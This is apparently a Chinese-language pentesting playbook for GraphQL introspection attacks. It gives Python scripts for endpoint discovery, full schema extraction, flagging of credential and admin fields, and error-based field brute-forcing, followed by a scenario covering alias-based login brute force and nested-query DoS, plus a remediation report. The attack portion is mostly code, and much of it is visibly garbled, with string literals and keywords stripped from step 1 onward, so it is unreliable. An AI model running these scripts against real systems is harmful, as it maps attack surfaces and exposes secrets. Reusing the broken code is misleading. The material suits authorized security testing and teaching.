| name | performing-graphql-introspection-attack |
| description | 执行 GraphQL 自省(Introspection)攻击,从 GraphQL 端点提取完整的 API Schema, 包括类型、查询(Query)、变更(Mutation)、订阅(Subscription)和字段定义。 测试人员使用自省查询绘制攻击面,识别敏感字段和变更操作,测试查询深度和复杂度限制, 并利用 GraphQL 特有漏洞,包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。
|
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["api-security","graphql","introspection","schema-extraction","query-abuse"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 GraphQL 自省攻击
适用场景
- 测试 GraphQL 端点是否暴露了泄露完整 API Schema 的自省功能
- 绘制 GraphQL API 的攻击面,识别敏感查询、变更和类型
- 测试 GraphQL 特有漏洞,包括查询深度滥用、批量攻击和字段级别授权
- 评估在自省被禁用时,是否可通过错误消息重建 Schema 的 GraphQL 实现
- 评估通过深度嵌套或复杂 GraphQL 查询实现资源耗尽的防御措施
请勿在未获书面授权的情况下使用。Schema 提取和查询滥用测试可能影响服务可用性。
前置条件
- 指定 GraphQL 端点和测试范围的书面授权
- Burp Suite Professional 及 InQL 扩展(v6.1+),用于自动化 Schema 分析
- Python 3.10+ 及
requests 和 gql 库
- GraphQL Voyager 或 GraphQL Playground,用于 Schema 可视化
- Clairvoyance 工具,用于在自省被禁用时重建 Schema
- 用于 GraphQL 字段和类型名称暴力破解的字典文件
工作流程
步骤 1:发现 GraphQL 端点
import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
for path in GRAPHQL_PATHS:
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL 端点:{TARGET}{path}")
print(f" 响应:{resp.text[:200]}")
except requests.exceptions.RequestException:
:
resp = requests.get(, timeout=)
resp.status_code == ( resp.text resp.text):
()
requests.exceptions.RequestException:
步骤 2:完整自省查询
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if "data" in schema and "__schema" in schema["data"]:
print("[VULNERABLE] 完整自省已启用")
types = schema["data"]["__schema"]["types"]
custom_types = [t for t in types if not t["name"].startswith()]
queries = schema[][][]
mutations = schema[][].get()
()
()
()
()
t custom_types:
t.get():
()
field t[]:
field_type = field[][] field[].get(, {}).get(, )
()
(, ) f:
json.dump(schema, f, indent=, ensure_ascii=)
()
:
()
()
:
()
步骤 3:识别 Schema 中的敏感数据
SENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if "data" in schema:
print("\n=== 敏感 Schema 分析 ===\n")
for t custom_types:
sensitive_type SENSITIVE_INDICATORS[]:
sensitive_type.lower() t[].lower():
()
t.get():
field t[]:
sensitive_field SENSITIVE_INDICATORS[]:
sensitive_field.lower() field[].lower():
()
mutations:
mutation_type = ((t t types t[] == mutations[]), )
mutation_type mutation_type.get():
mutation mutation_type[]:
sensitive_mut SENSITIVE_INDICATORS[]:
sensitive_mut.lower() mutation[].lower():
()
步骤 4:自省禁用时重建 Schema
def bruteforce_field(type_name, field_wordlist):
"""使用 GraphQL 错误消息发现有效字段。"""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
if "did you mean" in response_text:
import re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s not in discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s}(通过建议发现)")
elif resp.status_code == 200 and "errors" not in resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fields
FIELD_WORDLIST = [
"id", "name", "email", "username", "password", "role", ,
, , , , , ,
, , , , , ,
, , , , , ,
, , , , ,
, , , , ,
, , , , ,
]
type_name [, , , , , , ]:
()
fields = bruteforce_field(type_name, FIELD_WORDLIST)
核心概念
| 术语 | 定义 |
|---|
| GraphQL 自省(Introspection) | 查询 Schema 定义的内置功能,暴露 API 中所有可用的类型、字段、查询、变更和订阅 |
| 查询深度攻击(Query Depth Attack) | 发送深度嵌套查询导致指数级解析器执行,消耗服务器资源并可能引发 DoS |
| 基于别名的批量攻击(Alias-Based Batching) | 使用 GraphQL 别名在单个请求中执行多个操作,绕过每请求速率限制 |
| Schema 重建(Schema Reconstruction) | 在自省被禁用时,通过分析错误消息和字段建议重建 GraphQL Schema |
| 字段级别授权(Field-Level Authorization) | 根据已认证用户的角色或权限控制对 GraphQL 类型中各字段的访问 |
| 查询复杂度分析(Query Complexity Analysis) | 在执行前计算 GraphQL 查询的计算成本,以强制执行资源限制 |
工具与系统
- InQL(Burp Suite 扩展):自动化 GraphQL 自省、Schema 分析和攻击生成,支持 Schema 暴力破解
- Clairvoyance:即使自省被禁用时也能工作的 Schema 重建工具,使用基于错误的字段发现
- GraphQL Voyager:从自省结果生成交互式图表的可视化 Schema 探索器
- Altair GraphQL Client:功能丰富的 GraphQL IDE,支持认证的查询测试
- graphql-cop:GraphQL 安全审计工具,测试常见错误配置,包括自省、字段建议和查询限制
常见场景
场景:电商 GraphQL API 安全评估
背景:一个电商平台从 REST 迁移到 GraphQL。GraphQL 端点为 Web 和移动前端提供服务。自省在开发期间保持启用,但未在生产环境中禁用。
方法:
- 对
/graphql 端点运行完整自省查询——完整 Schema 包含 45 个类型、120 个查询和 38 个变更
- 识别敏感类型:
AdminUser、PaymentInfo、InternalConfig、AuditLog
- 发现
User 类型暴露 passwordHash、mfaSecret 和 lastLoginIp 字段
- 找到普通用户可访问的管理员变更:
deleteUser、updateRole、exportAllOrders
- 测试查询深度:无限制执行,深度 50 层的嵌套查询成功执行需 45 秒
- 测试别名批量:单个请求中 1000 次登录尝试绕过速率限制
- 测试批量查询:接受 500 个查询的数组,无任何限制
- Schema 揭露内部
InternalConfig 类型,包含 databaseConnectionString 和 stripeSecretKey 字段
输出格式
## 发现:GraphQL 自省已启用并暴露敏感 Schema
**ID**:API-GQL-001
**严重性**:高(CVSS 7.5)
**受影响端点**:POST /graphql
**使用工具**:InQL、Clairvoyance、自定义 Python 脚本
**描述**:
GraphQL 端点在生产环境中启用了自省,暴露了完整的 API Schema,
包括 45 个类型、120 个查询和 38 个变更。
Schema 揭示了敏感内部类型(AdminUser、PaymentInfo、InternalConfig),
并暴露了包含密码哈希、MFA 密钥和数据库连接字符串的字段。
未执行查询深度或复杂度限制,可通过嵌套查询实现拒绝服务。
**修复建议**:
1. 在生产环境中禁用自省
2. 使用 GraphQL 指令实现字段级别授权(@auth、@hasRole)
3. 从 Schema 中删除敏感字段或添加授权中间件限制访问
4. 实施查询深度限制(最大 10 层)和复杂度评分
5. 禁用错误消息中的字段建议以防止 Schema 重建
6. 对 GraphQL 请求按查询而非按 HTTP 请求进行速率限制